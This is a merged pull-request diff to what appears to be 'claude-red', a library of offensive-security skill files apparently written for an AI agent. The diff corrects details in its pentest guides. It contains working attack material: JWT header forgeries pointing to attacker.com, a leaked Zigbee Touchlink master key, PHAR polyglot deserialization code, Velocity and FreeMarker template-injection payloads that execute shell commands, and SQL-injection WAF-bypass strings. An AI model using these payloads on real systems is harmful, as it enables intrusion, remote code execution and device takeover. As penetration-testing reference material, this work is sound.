Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
6 changes: 6 additions & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,12 @@ All notable changes to `claude-red` are documented here. The library follows a p

- Replaced an inactive EXIF viewer reference in `offensive-osint` with a browser-local metadata viewer and added evidence-corroboration guidance.

### Fixed

- Corrected FreeMarker resolver prerequisites, Velocity constructor lookup, the PHP 8.0 PHAR boundary, and Apollo Sandbox's introspection requirement.
- Corrected the Touchlink master key and key derivation terminology in the IoT and wireless skills, and distinguished PLC identity documents from operation logs.
- Clarified JWT critical-header validation and signing prerequisites; corrected SQL/JSON WAF examples and their attribution to Team82's 2022 research.

### Planned

- Phase 1 — Internal AD/Windows split (16 skills)
Expand Down
10 changes: 8 additions & 2 deletions Skills/auth/offensive-jwt/SKILL.md
Original file line number Diff line number Diff line change
Expand Up @@ -212,10 +212,16 @@ Check Wayback Machine for historical URLs with tokens; monitor Referer headers t
```

6. **x5u / crit Handling:**
```
```json
{"alg":"RS256","typ":"JWT","x5u":"https://attacker.com/cert.pem"}
{"alg":"RS256","typ":"JWT","crit":["exp"],"exp":null}
{"alg":"RS256","typ":"JWT","crit":["test_extension"],"test_extension":true}
```
For the `crit` probe, use an otherwise valid token signed with a test key
trusted by the verifier, or an authorized signing oracle. A verifier that
does not understand `test_extension` must reject it. Acceptance indicates
missing critical-header validation; it does not override the payload's
`exp` claim. Editing a header without re-signing also invalidates its
signature. See [RFC 7515 §4.1.11](https://www.rfc-editor.org/rfc/rfc7515.html#section-4.1.11).

7. **Brute Force HMAC Secret:**
```bash
Expand Down
2 changes: 1 addition & 1 deletion Skills/iot/offensive-iot/SKILL.md
Original file line number Diff line number Diff line change
Expand Up @@ -282,7 +282,7 @@ zbdump -c 11 -w zigbee.pcap
zbreplay -f zigbee.pcap -i 0
```

Touchlink commissioning: known transport key in the wild (`0x9F559A553B7A6B2C…`) — many consumer devices accept Touchlink commissioning from any nearby radio.
Touchlink commissioning uses a leaked **master key**, `0x9F5595F10257C8A469CBF42BC93FEE31`. The transaction and response IDs derive a transport key from it; that transport key encrypts the network key during commissioning. With the required commissioning frames, recover the network key before using it to decrypt ordinary traffic in Wireshark. See [P-SCAN test case ZB#3, page 43](https://www.lcie.com/medias/P-SCAN%20Test%20Case%20Specification%20-%20V1.0.pdf) and [Touchlink research](https://www.wim.uni-mannheim.de/media/Lehrstuehle/wim/ths/STAFF/mueller.christian/wisec2017_touchlink.pdf).

### Z-Wave

Expand Down
4 changes: 3 additions & 1 deletion Skills/recon/offensive-osint-methodology/SKILL.md
Original file line number Diff line number Diff line change
Expand Up @@ -212,7 +212,9 @@ When this skill is active:
- Analyze user profiles for location tags; examine comments and hashtags for clues
- **Bluesky AT Protocol**
- Resolve handles via `https://bsky.social/xrpc/com.atproto.identity.resolveHandle?handle=<handle>` to get DID
- Extract full identity document: `https://plc.directory/<did>` (returns PLC operations, handle history, PDS endpoint)
- For `did:plc` accounts, `https://plc.directory/<did>` returns the current DID document, including the PDS endpoint; it does not return the operation history. `did:web` accounts do not use the PLC directory.
- Read alias history from `https://plc.directory/<did>/log` with `jq '.[].alsoKnownAs'`. The `/log/audit` endpoint wraps each operation in metadata, so its selector is `.[].operation.alsoKnownAs`.
- Treat logged aliases as leads: the directory does not verify handle ownership. See the [PLC specification](https://web.plc.directory/spec/v0.1/did-plc) and [operation-log implementation](https://github.com/did-method-plc/did-method-plc/blob/main/packages/server/src/db/index.ts).
- Real-time firehose: Use [Firesky](https://firesky.tv/) for live keyword/hashtag monitoring across entire network
- Analytics: [SkyView](https://bsky.jazco.dev/) for follower graphs, post engagement, network analysis
- Archive early: AT Protocol allows post deletion and handle migration; capture DIDs and post CIDs
Expand Down
31 changes: 20 additions & 11 deletions Skills/web/offensive-deserialization/SKILL.md
Original file line number Diff line number Diff line change
Expand Up @@ -141,17 +141,18 @@ version against known bypass classes: `org.apache.ibatis.datasource.jndi.JndiDat
---
## PHP Deserialization

`unserialize()` instantiates objects and invokes magic methods (`__wakeup`,
`__destruct`, `__toString`) during reconstruction. The `phar://` stream wrapper
triggers deserialization without an explicit `unserialize()` call.
`unserialize()` instantiates objects and can invoke `__wakeup` or `__unserialize`
during reconstruction; gadget chains may subsequently use `__destruct` or
`__toString`. On PHP before 8.0, loading a PHAR archive through `phar://` can
deserialize metadata without an explicit `unserialize()` call.

### Identifying Sinks

```php
// Direct unserialize
$obj = unserialize($userInput);

// phar:// wrapper -- any file operation on a phar:// path is a sink
// PHP before 8.0: file operations that load a PHAR can deserialize its metadata
file_exists("phar://uploads/avatar.jpg");
is_dir("phar://" . $userControlledPath);
// Triggering functions: file_exists, is_dir, is_file, file_get_contents,
Expand Down Expand Up @@ -184,8 +185,15 @@ phpggc Laravel/RCE1 system 'id' -p phar -pp header.jpg -o exploit.jpg

### phar:// Exploitation

The phar:// wrapper deserializes the metadata section of a PHAR archive on any file
operation. The sink is a file function, not `unserialize()`, so it evades many audits.
On PHP before 8.0, a file operation that loads an attacker-controlled PHAR through
`phar://` can deserialize the archive's metadata. The application must also have
an available gadget class for object instantiation to reach an exploitable sink.

PHP 8.0 removed automatic metadata deserialization from ordinary file operations.
On PHP 8+, look for an explicit `Phar::getMetadata()` or
`PharFileInfo::getMetadata()` call and inspect its `allowed_classes` options.
A file-operation sink alone is insufficient. See the
[PHP 8.0 migration notes](https://www.php.net/manual/en/migration80.incompatible.php#migration80.incompatible.phar).

```php
// Build a malicious PHAR (php.ini: phar.readonly = 0)
Expand All @@ -202,7 +210,7 @@ $jpegHeader = file_get_contents('legitimate.jpg');
file_put_contents('exploit.jpg', $jpegHeader . file_get_contents('exploit.phar'));
```

Upload the polyglot as an image, then trigger a file operation referencing
On PHP before 8.0, upload the polyglot as an image, then trigger a file operation referencing
`phar://uploads/exploit.jpg/test.txt`.

---
Expand Down Expand Up @@ -537,9 +545,10 @@ Understanding defensive detection helps you craft payloads that avoid alerts.
chains operating entirely within the allowed set.
- .NET `SerializationBinder` -- restricts type resolution. Bypass with types within
the allowed namespace that still enable execution.
- PHP `allowed_classes` in `unserialize()` -- limits instantiation. Bypass by using
only allowed classes, or reaching the sink through phar:// where the parameter is
not applied.
- PHP `allowed_classes` in `unserialize()` -- limits instantiation. Check for
usable gadgets within the allowed classes. On PHP before 8.0, restrictions on
a separate `unserialize()` call do not cover automatic PHAR metadata loading;
PHP 8+ metadata calls have their own deserialization options.
- WAF rules on serialized patterns -- bypass with encoding, compression, or
content-type switching.
- RASP -- instruments deserialization calls. Test with URLDNS or sleep payloads
Expand All @@ -559,7 +568,7 @@ Understanding defensive detection helps you craft payloads that avoid alerts.
| Java, Commons Collections 3.x | ysoserial | `CommonsCollections1`-`7` | URLDNS first |
| Java, unknown classpath | ysoserial | `URLDNS` then error-based enumeration | DNS callback |
| PHP Laravel 5.x-9.x | phpggc | `Laravel/RCE1`-`RCE10` | DNS or sleep |
| PHP file upload + file op | phpggc | `-p phar -pp header.jpg` polyglot | phar:// trigger |
| PHP before 8.0, file upload + file op | phpggc | `-p phar -pp header.jpg` polyglot | phar:// trigger |
| .NET BinaryFormatter | ysoserial.net | `TypeConfuseDelegate` | Process or DNS |
| .NET ViewState, known key | ysoserial.net | `-p ViewState` with key params | Blind exec |
| .NET Json.NET TypeNameHandling | ysoserial.net | `ObjectDataProvider` `-f Json.Net` | File write or OOB |
Expand Down
6 changes: 3 additions & 3 deletions Skills/web/offensive-graphql/SKILL.md
Original file line number Diff line number Diff line change
Expand Up @@ -88,7 +88,7 @@ Pipe the result into GraphQL Voyager for visual exploration, or load InQL in Bur

### Targeted __type Queries

When full introspection is disabled but `__type` lookups still work (a common misconfiguration where the server blocks `__schema` but forgets `__type`):
When an incomplete custom filter blocks `__schema` but permits `__type`, a targeted lookup may still work. Apollo Server's built-in `introspection: false` restriction blocks both:

```graphql
query { __type(name: "User") { name fields { name type { name kind } } } }
Expand Down Expand Up @@ -116,7 +116,7 @@ Automate this with clairvoyance, which iterates a wordlist, collects suggestions
python3 clairvoyance.py -t https://target.com/graphql -w wordlist.txt -o schema.json
```

**Apollo Sandbox.** If the target runs Apollo Server v3+, navigate to the endpoint in a browser. Apollo Sandbox performs introspection client-side even when the production toggle is off. Check Apollo Studio explorer if the server is registered there.
**Apollo Sandbox.** Sandbox obtains the schema by sending introspection queries to the server. It cannot bypass `introspection: false`; a visible landing page does not imply schema access. See [Apollo Server's production behavior](https://www.apollographql.com/docs/apollo-server/v3/testing/build-run-queries). When introspection is disabled, use field suggestions or exposed client-side query documents; access to a schema in Apollo Studio is a separate permission.

**Client-side bundles.** Search JS files for query strings, fragment definitions, and type names:

Expand Down Expand Up @@ -497,14 +497,14 @@ RECON
Endpoint discovery curl POST /graphql, /v1/graphql, /api/graphql with {__typename}
Fingerprint graphw00f -t <url>
Introspection dump Full __schema query via Altair or InQL
Apollo Sandbox Browse schema only when server introspection is enabled
Config audit graphql-cop -t <url>
Visualize schema Introspection JSON into GraphQL Voyager

BLIND SCHEMA RECOVERY
Field suggestions Query invalid fields, collect "Did you mean" responses
Automated recovery clairvoyance -t <url> -w wordlist.txt
Client bundles grep -oP '(query|mutation|fragment)\s+\w+' main.js
Apollo sandbox Navigate to endpoint in browser

AUTH TESTING
No-auth access Replay every query/mutation without Authorization header
Expand Down
26 changes: 17 additions & 9 deletions Skills/web/offensive-ssti/SKILL.md
Original file line number Diff line number Diff line change
Expand Up @@ -203,7 +203,9 @@ GET /page?input=%3C%23assign+cmd%3D%22freemarker.template.utility.Execute%22%3Fn
Host: target.example.com
```

ObjectConstructor for ProcessBuilder:
ObjectConstructor for ProcessBuilder, when the class resolver and object wrapper
permit it. Both helpers require `?new` permission; see the resolver restrictions
in [§6.6](#66-engine-specific-bypass).

```html
<#assign obj = "freemarker.template.utility.ObjectConstructor"?new()>
Expand All @@ -213,14 +215,21 @@ ObjectConstructor for ProcessBuilder:

### 4.2 Velocity -- Runtime.exec

Requires an exposed ClassTool and permissive introspection. Constructor lookup
must use the declared `java.io.InputStream` parameter type, not the concrete
process-stream subclass returned by `getClass()`.

```java
#set($runtime = $class.inspect("java.lang.Runtime").type.getRuntime())
#set($process = $runtime.exec("id"))
#set($s = $class.inspect("java.util.Scanner").type)
#set($sc = $s.getDeclaredConstructor($process.getInputStream().getClass()).newInstance($process.getInputStream()))
$sc.useDelimiter("\\A").next()
#set($inputType = $class.inspect("java.io.InputStream").type)
#set($sc = $s.getConstructor($inputType).newInstance($process.getInputStream()))
$sc.useDelimiter("\A").next()
```

See Java's [constructor lookup contract](https://docs.oracle.com/en/java/javase/21/docs/api/java.base/java/lang/Class.html#getConstructor(java.lang.Class...)).

### 4.3 Pebble -- Reflection Chain

```java
Expand Down Expand Up @@ -414,12 +423,11 @@ Newline injection: {{\n7*7\n}} (WAFs may not match cross-line patterns)

### 6.6 Engine-Specific Bypass

Freemarker -- when `?new()` is restricted, use ObjectConstructor:

```html
<#assign obj = "freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb = obj("java.lang.ProcessBuilder", ["sh","-c","id"])>
```
Freemarker -- inspect the configured resolver and the objects exposed to the
template. `ObjectConstructor?new()` still uses the restricted built-in and is
not a fallback for a disabled `?new`. `SAFER_RESOLVER` blocks both `Execute`
and `ObjectConstructor`; `ALLOWS_NOTHING_RESOLVER` blocks all classes. See
[TemplateClassResolver](https://freemarker.apache.org/docs/api/freemarker/core/TemplateClassResolver.html).

Thymeleaf -- build strings from `T(Character).toString()` calls to avoid keyword filters.

Expand Down
11 changes: 7 additions & 4 deletions Skills/web/offensive-waf-bypass/SKILL.md
Original file line number Diff line number Diff line change
Expand Up @@ -305,10 +305,13 @@ mindmap
- Use Atlas tool for suggesting tamper scripts
- Try multiple tamper scripts in combination
- Customize tamper scripts for specific WAFs
- **JSON-Based SQL Injection** (CVE-2023-50969):
- Many WAFs (AWS, Cloudflare, F5, Imperva) don't properly support JSON syntax in SQL
- Example: `{"id": {"$gt": "' OR 1=1--"}}`
- Use SQLMap with JSON parameter support for exploitation
- **SQL/JSON syntax evasion** (Team82, 2022):
- Older WAF parsers failed to recognize SQL/JSON syntax. The affected vendors updated their products, so success depends on the ruleset being tested.
- In a single-quoted SQL string, test a dialect-specific predicate: MySQL `' OR JSON_EXTRACT('{"a":1}','$.a')=1-- -`; PostgreSQL `' OR '{"b":2}'::jsonb <@ '{"a":1,"b":2}'::jsonb-- -`.
- This uses JSON syntax inside SQL; it does not require a JSON HTTP request or MongoDB's `$gt` operator. The injection must reach SQL construction, and the database must support the chosen expression.
- MySQL's `->>` shorthand takes a JSON column identifier on the left. For JSON-valued expressions or subqueries, use `JSON_UNQUOTE(JSON_EXTRACT(expression, '$'))`.
- See [Team82's original research and vendor fixes](https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf).
- CVE-2023-50969 concerns duplicate `Content-Encoding` headers in Imperva, a separate technique; see the [researcher's disclosure](https://www.hoyahaxa.com/2024/03/imperva-waf-bypass-cve-2023-50969.html).
- Leverage mixed encodings (half‑width Unicode, overlong UTF‑8), embedded comments, and case folding differences.

```mermaid
Expand Down
16 changes: 12 additions & 4 deletions Skills/wireless/offensive-zigbee-thread-matter/SKILL.md
Original file line number Diff line number Diff line change
Expand Up @@ -45,13 +45,21 @@ In Wireshark with the dot15d4 + zbee_nwk dissectors, you'll see frame counters,

## Touchlink Commissioning Abuse

Touchlink (used by Zigbee 3.0 commissioning, especially in lighting) uses a **well-known transport key**:
Touchlink commissioning, especially in lighting, uses a leaked **master key**:

```text
0x9F5595F10257C8A469CBF42BC93FEE31
```
0x9F559A553B7A6B2C5C4FBB4E84956F3D
```

Many consumer Zigbee bulbs / strips accept Touchlink commissioning from any nearby radio with this key — joining them to your network or stealing them from theirs.
The transaction and response IDs derive a transport key from this master key.
The transport key protects the network key exchanged during commissioning;
neither the master key nor the derived transport key replaces the network key
used to decrypt ordinary network traffic. Capture the relevant commissioning
frames before attempting network-key recovery.

The master key is documented in [P-SCAN test case ZB#3, page 43](https://www.lcie.com/medias/P-SCAN%20Test%20Case%20Specification%20-%20V1.0.pdf).
See also the [Touchlink commissioning research](https://www.wim.uni-mannheim.de/media/Lehrstuehle/wim/ths/STAFF/mueller.christian/wisec2017_touchlink.pdf)
for the derivation and the separate authentication weaknesses in Touchlink commands.

```bash
# z3sec — Zigbee 3 commissioning attack toolkit
Expand Down